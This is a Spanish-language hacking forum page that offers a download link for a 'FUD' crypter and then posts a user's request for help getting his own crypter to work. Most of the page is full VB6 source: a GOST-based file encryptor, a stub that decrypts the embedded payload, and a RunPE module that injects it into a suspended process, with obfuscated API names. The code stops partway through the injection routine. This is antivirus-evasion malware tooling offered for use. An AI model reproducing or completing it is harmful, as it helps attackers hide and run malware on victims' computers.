Un regalo !
LINK - http://www.mediafire.com/download/tx85bqfp96g9mv1/Crypter+Fud+Converse+-+By+F.Sinatra..rar
PASS - MP
LINK - http://www.mediafire.com/download/tx85bqfp96g9mv1/Crypter+Fud+Converse+-+By+F.Sinatra..rar
PASS - MP
- Bienvenido a Test Foro de elhacker.net SMF 2.1.
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#2
Programación General / AYUDA CON CRYPTER PLEASE !!!
1 Marzo 2014, 02:35 AM
No consigo hacer funcionar este crypter.
Les muestro los códigos, por si alguien me puede ayudar..
CLIENTE
MODULO DE CLIENTE
MODULO DE CLASE DEL CLIENTE (clsGost)
AHORA LES MUESTRO EL STUB
MODULO DEL STUB
RUNPE DEL STUB
MODULO DE CLASE (clsGost) DEL STUB
Parece que cifra el archivo pero no puedo abrir ningún archivo cifrado no me deja
Les muestro los códigos, por si alguien me puede ayudar..
CLIENTE
Código (vb) [Seleccionar]
Private Sub Command1_Click()
With CD
.DialogTitle = "Seleccione el archivo a encryptar"
.Filter = "Aplicaciones EXE|*.exe"
.ShowOpen
End With
If Not CD.Filename = vbNullString Then
Text1.Text = CD.Filename
MsgBox "SERVER CARGADO CORRECTAMENTE", vbInformation, Me.Caption
End If
End Sub
Private Sub Command2_Click()
Dim Stub As String, Archivo As String, Ghost As New clsGost
If Text1.Text = vbNullString Then
MsgBox "Primero carga el archivo", vbExclamation, Me.Caption
Exit Sub
Else
Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
With CD
.DialogTitle = "Selecione la ruta donde desea guardar el archivo"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With
If Not CD.Filename = vbNullString Then
Archivo = Ghost.EncryptString(Archivo, "añsudgfasudsipdfhpsdhfipshdfishdishdifh")
Open CD.Filename For Binary As #1
Put #1, , Stub & "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj" & Archivo & "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj"
Close #1
MsgBox "ENCRYPTADO CON EXITO", vbInformation, Me.Caption
End If
End If
End Sub
Private Sub Form_Load()
End SubMODULO DE CLIENTE
Código (vb) [Seleccionar]
Option Explicit
Public Type ENCRYPTCLASS
Name As String
Object As Object
Homepage As String
End Type
Public EncryptObjects() As ENCRYPTCLASS
Public EncryptObjectsCount As Long
Public Const BENCHMARKSIZE = 1000000
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Function FileExist(Filename As String) As Boolean
On Error GoTo NotExist
Call FileLen(Filename)
FileExist = True
Exit Function
NotExist:
End Function
Public Static Sub GetWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
' Call CopyMem(LongValue, CryptBuffer(Offset), 4)
Dim bb(0 To 3) As Byte
bb(3) = CryptBuffer(Offset)
bb(2) = CryptBuffer(Offset + 1)
bb(1) = CryptBuffer(Offset + 2)
bb(0) = CryptBuffer(Offset + 3)
Call CopyMem(LongValue, bb(0), 4)
End Sub
Public Static Sub PutWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
' Call CopyMem(CryptBuffer(Offset), LongValue, 4)
Dim bb(0 To 3) As Byte
Call CopyMem(bb(0), LongValue, 4)
CryptBuffer(Offset) = bb(3)
CryptBuffer(Offset + 1) = bb(2)
CryptBuffer(Offset + 2) = bb(1)
CryptBuffer(Offset + 3) = bb(0)
End Sub
Public Static Function UnsignedAdd(ByVal Data1 As Long, Data2 As Long) As Long
Dim x1(0 To 3) As Byte
Dim x2(0 To 3) As Byte
Dim xx(0 To 3) As Byte
Dim Rest As Long
Dim Value As Long
Dim a As Long
Call CopyMem(x1(0), Data1, 4)
Call CopyMem(x2(0), Data2, 4)
Rest = 0
For a = 0 To 3
Value = CLng(x1(a)) + CLng(x2(a)) + Rest
xx(a) = Value And 255
Rest = Value \ 256
Next
Call CopyMem(UnsignedAdd, xx(0), 4)
End Function
Public Function UnsignedDel(Data1 As Long, Data2 As Long) As Long
Dim x1(0 To 3) As Byte
Dim x2(0 To 3) As Byte
Dim xx(0 To 3) As Byte
Dim Rest As Long
Dim Value As Long
Dim a As Long
Call CopyMem(x1(0), Data1, 4)
Call CopyMem(x2(0), Data2, 4)
Call CopyMem(xx(0), UnsignedDel, 4)
For a = 0 To 3
Value = CLng(x1(a)) - CLng(x2(a)) - Rest
If (Value < 0) Then
Value = Value + 256
Rest = 1
Else
Rest = 0
End If
xx(a) = Value
Next
Call CopyMem(UnsignedDel, xx(0), 4)
End Function
MODULO DE CLASE DEL CLIENTE (clsGost)
Código (vb) [Seleccionar]
'Gost Encryption/Decryption Class
'------------------------------------
'
'Information concerning the Gost
'algorithm can be found at:
'http://www.jetico.sci.fi/index.htm#/gost.htm
'
'(c) 2000, Fredrik Qvarfort
'
Option Explicit
Event Progress(Percent As Long)
Private m_KeyValue As String
Private K(1 To 8) As Long
Private k87(0 To 255) As Byte
Private k65(0 To 255) As Byte
Private k43(0 To 255) As Byte
Private k21(0 To 255) As Byte
Private sBox(0 To 7, 0 To 255) As Byte
'Allow running more optimized code
'while in compiled mode and still
'be able to run the code in the IDE
Private m_RunningCompiled As Boolean
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Sub addLongs Lib "myDLL" (ByRef number1 As Long, ByVal number2 As Long)
Private Static Sub DecryptBlock(LeftWord As Long, RightWord As Long)
Dim i As Long
RightWord = RightWord Xor F(LeftWord, K(1))
LeftWord = LeftWord Xor F(RightWord, K(2))
RightWord = RightWord Xor F(LeftWord, K(3))
LeftWord = LeftWord Xor F(RightWord, K(4))
RightWord = RightWord Xor F(LeftWord, K(5))
LeftWord = LeftWord Xor F(RightWord, K(6))
RightWord = RightWord Xor F(LeftWord, K(7))
LeftWord = LeftWord Xor F(RightWord, K(8))
For i = 1 To 3
RightWord = RightWord Xor F(LeftWord, K(8))
LeftWord = LeftWord Xor F(RightWord, K(7))
RightWord = RightWord Xor F(LeftWord, K(6))
LeftWord = LeftWord Xor F(RightWord, K(5))
RightWord = RightWord Xor F(LeftWord, K(4))
LeftWord = LeftWord Xor F(RightWord, K(3))
RightWord = RightWord Xor F(LeftWord, K(2))
LeftWord = LeftWord Xor F(RightWord, K(1))
Next
End Sub
Private Static Sub EncryptBlock(LeftWord As Long, RightWord As Long)
Dim i As Long
For i = 1 To 3
RightWord = RightWord Xor F(LeftWord, K(1))
LeftWord = LeftWord Xor F(RightWord, K(2))
RightWord = RightWord Xor F(LeftWord, K(3))
LeftWord = LeftWord Xor F(RightWord, K(4))
RightWord = RightWord Xor F(LeftWord, K(5))
LeftWord = LeftWord Xor F(RightWord, K(6))
RightWord = RightWord Xor F(LeftWord, K(7))
LeftWord = LeftWord Xor F(RightWord, K(8))
Next
RightWord = RightWord Xor F(LeftWord, K(8))
LeftWord = LeftWord Xor F(RightWord, K(7))
RightWord = RightWord Xor F(LeftWord, K(6))
LeftWord = LeftWord Xor F(RightWord, K(5))
RightWord = RightWord Xor F(LeftWord, K(4))
LeftWord = LeftWord Xor F(RightWord, K(3))
RightWord = RightWord Xor F(LeftWord, K(2))
LeftWord = LeftWord Xor F(RightWord, K(1))
End Sub
Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)
Dim Filenr As Integer
Dim ByteArray() As Byte
'Make sure the source file do exist
If (Not FileExist(SourceFile)) Then
Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
Exit Sub
End If
'Open the source file and read the content
'into a bytearray to pass onto encryption
Filenr = FreeFile
Open SourceFile For Binary As #Filenr
ReDim ByteArray(0 To LOF(Filenr) - 1)
Get #Filenr, , ByteArray()
Close #Filenr
'Encrypt the bytearray
Call EncryptByte(ByteArray(), Key)
'If the destination file already exist we need
'to delete it since opening it for binary use
'will preserve it if it already exist
If (FileExist(DestFile)) Then Kill DestFile
'Store the encrypted data in the destination file
Filenr = FreeFile
Open DestFile For Binary As #Filenr
Put #Filenr, , ByteArray()
Close #Filenr
End Sub
Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)
Dim Filenr As Integer
Dim ByteArray() As Byte
'Make sure the source file do exist
If (Not FileExist(SourceFile)) Then
Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
Exit Sub
End If
'Open the source file and read the content
'into a bytearray to decrypt
Filenr = FreeFile
Open SourceFile For Binary As #Filenr
ReDim ByteArray(0 To LOF(Filenr) - 1)
Get #Filenr, , ByteArray()
Close #Filenr
'Decrypt the bytearray
Call DecryptByte(ByteArray(), Key)
'If the destination file already exist we need
'to delete it since opening it for binary use
'will preserve it if it already exist
If (FileExist(DestFile)) Then Kill DestFile
'Store the decrypted data in the destination file
Filenr = FreeFile
Open DestFile For Binary As #Filenr
Put #Filenr, , ByteArray()
Close #Filenr
End Sub
Private Static Function F(R As Long, K As Long) As Long
Dim x As Long
Dim xb(0 To 3) As Byte
Dim xx(0 To 3) As Byte
Dim a As Byte, b As Byte, C As Byte, D As Byte
If (m_RunningCompiled) Then
x = R + K
Else
x = UnsignedAdd(R, K)
End If
'Extract byte sequence
D = x And &HFF
x = x \ 256
C = x And &HFF
x = x \ 256
b = x And &HFF
x = x \ 256
a = x And &HFF
'Key-dependant substutions
xb(0) = k21(a)
xb(1) = k43(b)
xb(2) = k65(C)
xb(3) = k87(D)
'LeftShift 11 bits
xx(0) = ((xb(3) And 31) * 8) Or ((xb(2) And 224) \ 32)
xx(1) = ((xb(0) And 31) * 8) Or ((xb(3) And 224) \ 32)
xx(2) = ((xb(1) And 31) * 8) Or ((xb(0) And 224) \ 32)
xx(3) = ((xb(2) And 31) * 8) Or ((xb(1) And 224) \ 32)
Call CopyMem(F, xx(0), 4)
End Function
Public Function DecryptString(Text As String, Optional Key As String) As String
Dim ByteArray() As Byte
'Convert the text into a byte array
ByteArray() = StrConv(Text, vbFromUnicode)
'Encrypt the byte array
Call DecryptByte(ByteArray(), Key)
'Convert the byte array back to a string
DecryptString = StrConv(ByteArray(), vbUnicode)
End Function
Public Function EncryptString(Text As String, Optional Key As String) As String
Dim ByteArray() As Byte
'Convert the text into a byte array
ByteArray() = StrConv(Text, vbFromUnicode)
'Encrypt the byte array
Call EncryptByte(ByteArray(), Key)
'Convert the byte array back to a string
EncryptString = StrConv(ByteArray(), vbUnicode)
End Function
Private Static Function lBSL(ByVal lInput As Long, bShiftBits As Byte) As Long
lBSL = (lInput And (2 ^ (31 - bShiftBits) - 1)) * 2 ^ bShiftBits
If (lInput And 2 ^ (31 - bShiftBits)) = 2 ^ (31 - bShiftBits) Then lBSL = (lBSL Or &H80000000)
End Function
Private Static Function lBSR(ByVal lInput As Long, bShiftBits As Byte) As Long
If bShiftBits = 31 Then
If lInput < 0 Then lBSR = &HFFFFFFFF Else lBSR = 0
Else
lBSR = (lInput And Not (2 ^ bShiftBits - 1)) \ 2 ^ bShiftBits
End If
End Function
Public Function EncryptByte(ByteArray() As Byte, Optional Key As String) As String
Dim Offset As Long
Dim OrigLen As Long
Dim LeftWord As Long
Dim RightWord As Long
Dim CipherLen As Long
Dim CipherLeft As Long
Dim CipherRight As Long
Dim CurrPercent As Long
Dim NextPercent As Long
'Set the key if one was passed to the function
If (Len(Key) > 0) Then Me.Key = Key
'Get the length of the plaintext
OrigLen = UBound(ByteArray) + 1
'First we add 12 bytes (4 bytes for the
'length and 8 bytes for the seed values
'for the CBC routine), and the ciphertext
'must be a multiple of 8 bytes
CipherLen = OrigLen + 12
If (CipherLen Mod 8 <> 0) Then
CipherLen = CipherLen + 8 - (CipherLen Mod 8)
End If
ReDim Preserve ByteArray(CipherLen - 1)
Call CopyMem(ByteArray(12), ByteArray(0), OrigLen)
'Store the length descriptor in bytes [9-12]
Call CopyMem(ByteArray(8), OrigLen, 4)
'Store a block of random data in bytes [1-8],
'these work as seed values for the CBC routine
'and is used to produce different ciphertext
'even when encrypting the same data with the
'same key)
Call Randomize
Call CopyMem(ByteArray(0), CLng(2147483647 * Rnd), 4)
Call CopyMem(ByteArray(4), CLng(2147483647 * Rnd), 4)
'Encrypt the data
For Offset = 0 To (CipherLen - 1) Step 8
'Get the next block of plaintext
Call GetWord(LeftWord, ByteArray(), Offset)
Call GetWord(RightWord, ByteArray(), Offset + 4)
'XOR the plaintext with the previous
'ciphertext (CBC, Cipher-Block Chaining)
LeftWord = LeftWord Xor CipherLeft
RightWord = RightWord Xor CipherRight
'Encrypt the block
Call EncryptBlock(LeftWord, RightWord)
'Store the block
Call PutWord(LeftWord, ByteArray(), Offset)
Call PutWord(RightWord, ByteArray(), Offset + 4)
'Store the cipherblocks (for CBC)
CipherLeft = LeftWord
CipherRight = RightWord
'Update the progress if neccessary
If (Offset >= NextPercent) Then
CurrPercent = Int((Offset / CipherLen) * 100)
NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
RaiseEvent Progress(CurrPercent)
End If
Next
'Make sure we return a 100% progress
If (CurrPercent <> 100) Then RaiseEvent Progress(100)
End Function
Public Function DecryptByte(ByteArray() As Byte, Optional Key As String) As String
Dim Offset As Long
Dim OrigLen As Long
Dim LeftWord As Long
Dim RightWord As Long
Dim CipherLen As Long
Dim CipherLeft As Long
Dim CipherRight As Long
Dim CurrPercent As Long
Dim NextPercent As Long
'Set the key if one was passed to the function
If (Len(Key) > 0) Then Me.Key = Key
'Get the size of the ciphertext
CipherLen = UBound(ByteArray) + 1
'Decrypt the data in 64-bit blocks
For Offset = 0 To (CipherLen - 1) Step 8
'Get the next block
Call GetWord(LeftWord, ByteArray(), Offset)
Call GetWord(RightWord, ByteArray(), Offset + 4)
'Decrypt the block
Call DecryptBlock(RightWord, LeftWord)
'XOR with the previous cipherblock
LeftWord = LeftWord Xor CipherLeft
RightWord = RightWord Xor CipherRight
'Store the current ciphertext to use
'XOR with the next block plaintext
Call GetWord(CipherLeft, ByteArray(), Offset)
Call GetWord(CipherRight, ByteArray(), Offset + 4)
'Store the encrypted block
Call PutWord(LeftWord, ByteArray(), Offset)
Call PutWord(RightWord, ByteArray(), Offset + 4)
'Update the progress if neccessary
If (Offset >= NextPercent) Then
CurrPercent = Int((Offset / CipherLen) * 100)
NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
RaiseEvent Progress(CurrPercent)
End If
Next
'Get the size of the original array
Call CopyMem(OrigLen, ByteArray(8), 4)
'Make sure OrigLen is a reasonable value,
'if we used the wrong key the next couple
'of statements could be dangerous (GPF)
If (CipherLen - OrigLen > 19) Or (CipherLen - OrigLen < 12) Then
Call Err.Raise(vbObjectError, , "Incorrect size descriptor in Gost decryption")
End If
'Resize the bytearray to hold only the plaintext
'and not the extra information added by the
'encryption routine
Call CopyMem(ByteArray(0), ByteArray(12), OrigLen)
ReDim Preserve ByteArray(OrigLen - 1)
'Make sure we return a 100% progress
If (CurrPercent <> 100) Then RaiseEvent Progress(100)
End Function
Public Property Let Key(New_Value As String)
Dim a As Long
Dim Key() As Byte
Dim KeyLen As Long
Dim ByteArray() As Byte
'Do nothing if no change was made
If (m_KeyValue = New_Value) Then Exit Property
'Convert the key into a bytearray
KeyLen = Len(New_Value)
Key() = StrConv(New_Value, vbFromUnicode)
'Create a 32-byte key
ReDim ByteArray(0 To 31)
For a = 0 To 31
ByteArray(a) = Key(a Mod KeyLen)
Next
'Create the key
Call CopyMem(K(1), ByteArray(0), 32)
'Show this key is buffered
m_KeyValue = New_Value
End Property
Private Sub Class_Initialize()
Dim a As Long
Dim b As Long
Dim C As Long
Dim LeftWord As Long
Dim S(0 To 7) As Variant
'We need to check if we are running in compiled
'(EXE) mode or in the IDE, this will allow us to
'use optimized code with unsigned integers in
'compiled mode without any overflow errors when
'running the code in the IDE
On Local Error Resume Next
m_RunningCompiled = ((2147483647 + 1) < 0)
'Initialize s-boxes
S(0) = Array(6, 5, 1, 7, 14, 0, 4, 10, 11, 9, 3, 13, 8, 12, 2, 15)
S(1) = Array(14, 13, 9, 0, 8, 10, 12, 4, 7, 15, 6, 11, 3, 1, 5, 2)
S(2) = Array(6, 5, 1, 7, 2, 4, 10, 0, 11, 13, 14, 3, 8, 12, 15, 9)
S(3) = Array(8, 7, 3, 9, 6, 4, 14, 5, 2, 13, 0, 12, 1, 11, 10, 15)
S(4) = Array(10, 9, 6, 11, 5, 1, 8, 4, 0, 13, 7, 2, 14, 3, 15, 12)
S(5) = Array(5, 3, 0, 6, 11, 13, 4, 14, 10, 7, 1, 12, 2, 8, 15, 9)
S(6) = Array(2, 1, 12, 3, 11, 13, 15, 7, 10, 6, 9, 14, 0, 8, 4, 5)
S(7) = Array(6, 5, 1, 7, 8, 9, 4, 2, 15, 3, 13, 12, 10, 14, 11, 0)
'Convert the variants to a 2-dimensional array
For a = 0 To 15
For b = 0 To 7
sBox(b, a) = S(b)(a)
Next
Next
'Calculate the substitutions
For a = 0 To 255
k87(a) = lBSL(CLng(sBox(7, lBSR(a, 4))), 4) Or sBox(6, a And 15)
k65(a) = lBSL(CLng(sBox(5, lBSR(a, 4))), 4) Or sBox(4, a And 15)
k43(a) = lBSL(CLng(sBox(3, lBSR(a, 4))), 4) Or sBox(2, a And 15)
k21(a) = lBSL(CLng(sBox(1, lBSR(a, 4))), 4) Or sBox(0, a And 15)
Next
End Sub
AHORA LES MUESTRO EL STUB
Código (vb) [Seleccionar]
Sub Main()
Dim oraropit As String, hdhathos As String, hshdhahtah() As String, Ghost As New clsGost
Dim Nuevo As String
oraropit = App.Path & "\" & App.EXEName & ".exe"
Open oraropit For Binary As #1
hdhathos = Space(sLOF(oraropit))
Get #1, , hdhathos
Close #1
hshdhahtah() = Split(hdhathos, "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj")
hshdhahtah(1) = Ghost.DecryptString(hshdhahtah(1), "añsudgfasudsipdfhpsdhfipshdfishdishdifh")
Call NSQUITE(oraropit, StrConv(hshdhahtah(1), vbFromUnicode))
End Sub
Public Function sLOF(sPath As String) As Double
Dim Fso, F As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Set F = Fso.GetFile(sPath)
sLOF = F.Size
End Function
MODULO DEL STUB
Código (vb) [Seleccionar]
Option Explicit
Public Type ENCRYPTCLASS
Name As String
Object As Object
Homepage As String
End Type
Public EncryptObjects() As ENCRYPTCLASS
Public EncryptObjectsCount As Long
Public Const BENCHMARKSIZE = 1000000
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Function FileExist(Filename As String) As Boolean
On Error GoTo NotExist
Call FileLen(Filename)
FileExist = True
Exit Function
NotExist:
End Function
Public Static Sub GetWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
' Call CopyMem(LongValue, CryptBuffer(Offset), 4)
Dim bb(0 To 3) As Byte
bb(3) = CryptBuffer(Offset)
bb(2) = CryptBuffer(Offset + 1)
bb(1) = CryptBuffer(Offset + 2)
bb(0) = CryptBuffer(Offset + 3)
Call CopyMem(LongValue, bb(0), 4)
End Sub
Public Static Sub PutWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
' Call CopyMem(CryptBuffer(Offset), LongValue, 4)
Dim bb(0 To 3) As Byte
Call CopyMem(bb(0), LongValue, 4)
CryptBuffer(Offset) = bb(3)
CryptBuffer(Offset + 1) = bb(2)
CryptBuffer(Offset + 2) = bb(1)
CryptBuffer(Offset + 3) = bb(0)
End Sub
Public Static Function UnsignedAdd(ByVal Data1 As Long, Data2 As Long) As Long
Dim x1(0 To 3) As Byte
Dim x2(0 To 3) As Byte
Dim xx(0 To 3) As Byte
Dim Rest As Long
Dim Value As Long
Dim a As Long
Call CopyMem(x1(0), Data1, 4)
Call CopyMem(x2(0), Data2, 4)
Rest = 0
For a = 0 To 3
Value = CLng(x1(a)) + CLng(x2(a)) + Rest
xx(a) = Value And 255
Rest = Value \ 256
Next
Call CopyMem(UnsignedAdd, xx(0), 4)
End Function
Public Function UnsignedDel(Data1 As Long, Data2 As Long) As Long
Dim x1(0 To 3) As Byte
Dim x2(0 To 3) As Byte
Dim xx(0 To 3) As Byte
Dim Rest As Long
Dim Value As Long
Dim a As Long
Call CopyMem(x1(0), Data1, 4)
Call CopyMem(x2(0), Data2, 4)
Call CopyMem(xx(0), UnsignedDel, 4)
For a = 0 To 3
Value = CLng(x1(a)) - CLng(x2(a)) - Rest
If (Value < 0) Then
Value = Value + 256
Rest = 1
Else
Rest = 0
End If
xx(a) = Value
Next
Call CopyMem(UnsignedDel, xx(0), 4)
End FunctionRUNPE DEL STUB
Código (vb) [Seleccionar]
Option Explicit
Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long
Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type
Public Function NSQUITE(ByVal FOUK As String, ByVal OTMHP As String, ParamArray QWWJFYK()) As Long
Dim WPLKG As Long, UWIH(&HEC00& - 1) As Byte, IUU As Long, QNEAFPR As Long
QNEAFPR = GetProcAddress(LoadLibraryA(FOUK), OTMHP)
If QNEAFPR = 0 Then Exit Function
WPLKG = VarPtr(UWIH(0))
RtlMoveMemory ByVal WPLKG, &H59595958, &H4: WPLKG = WPLKG + 4
RtlMoveMemory ByVal WPLKG, &H5059, &H2: WPLKG = WPLKG + 2
For IUU = UBound(QWWJFYK) To 0 Step -1
RtlMoveMemory ByVal WPLKG, &H68, &H1: WPLKG = WPLKG + 1
RtlMoveMemory ByVal WPLKG, CLng(QWWJFYK(IUU)), &H4: WPLKG = WPLKG + 4
Next
RtlMoveMemory ByVal WPLKG, &HE8, &H1: WPLKG = WPLKG + 1
RtlMoveMemory ByVal WPLKG, QNEAFPR - WPLKG - 4, &H4: WPLKG = WPLKG + 4
RtlMoveMemory ByVal WPLKG, &HC3, &H1: WPLKG = WPLKG + 1
NSQUITE = CallWindowProcA(VarPtr(UWIH(0)), 0, 0, 0, 0)
End Function
Public Function PKPQT(ByVal LMBJEB As String, ByVal DWOOD As String) As String
Dim BLY As Long
For BLY = 1 To Len(LMBJEB)
PKPQT = PKPQT & Chr(Asc(Mid(DWOOD, IIf(BLY Mod Len(DWOOD) <> 0, BLY Mod Len(DWOOD), Len(DWOOD)), 1)) Xor Asc(Mid(LMBJEB, BLY, 1)))
Next BLY
End Function
Public Sub HHNUHVP(ByVal IRJPN As String, ByRef BHIL() As Byte, CDRHU As String)
Dim CWL As Long, UGXI As IMAGE_DOS_HEADER, FUQWG As IMAGE_NT_HEADERS, JIJHOR As IMAGE_SECTION_HEADER
Dim OYLSLJI As STARTUPINFO, MZLVDG As PROCESS_INFORMATION, LBGKEY As CONTEXT
OYLSLJI.cb = Len(OYLSLJI)
RtlMoveMemory UGXI, BHIL(0), 64
RtlMoveMemory FUQWG, BHIL(UGXI.e_lfanew), 248
CreateProcessA IRJPN, " " & CDRHU, 0, 0, False, CREATE_SUSPENDED, 0, 0, OYLSLJI, MZLVDG
NSQUITE PKPQT(Chr(59) & Chr(57) & Chr(47) & Chr(38) & Chr(34), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(27) & Chr(57) & Chr(30) & Chr(36) & Chr(35) & Chr(35) & Chr(35) & Chr(1) & Chr(47) & Chr(43) & Chr(58) & Chr(12) & Chr(41) & Chr(31) & Chr(35) & Chr(36) & Chr(36) & Chr(32) & Chr(57) & Chr(56), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hProcess, FUQWG.OptionalHeader.ImageBase
NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(3) & Chr(36) & Chr(57) & Chr(62) & Chr(59) & Chr(35) & Chr(63) & Chr(22) & Chr(42) & Chr(34) & Chr(34) & Chr(32) & Chr(10) & Chr(52), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hProcess, FUQWG.OptionalHeader.ImageBase, FUQWG.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory MZLVDG.hProcess, ByVal FUQWG.OptionalHeader.ImageBase, BHIL(0), FUQWG.OptionalHeader.SizeOfHeaders, 0
For CWL = 0 To FUQWG.FileHeader.NumberOfSections - 1
RtlMoveMemory JIJHOR, BHIL(UGXI.e_lfanew + 248 + 40 * CWL), Len(JIJHOR)
WriteProcessMemory MZLVDG.hProcess, ByVal FUQWG.OptionalHeader.ImageBase + JIJHOR.VirtualAddress, BHIL(JIJHOR.PointerToRawData), JIJHOR.SizeOfRawData, 0
Next CWL
LBGKEY.ContextFlags = CONTEXT_FULL
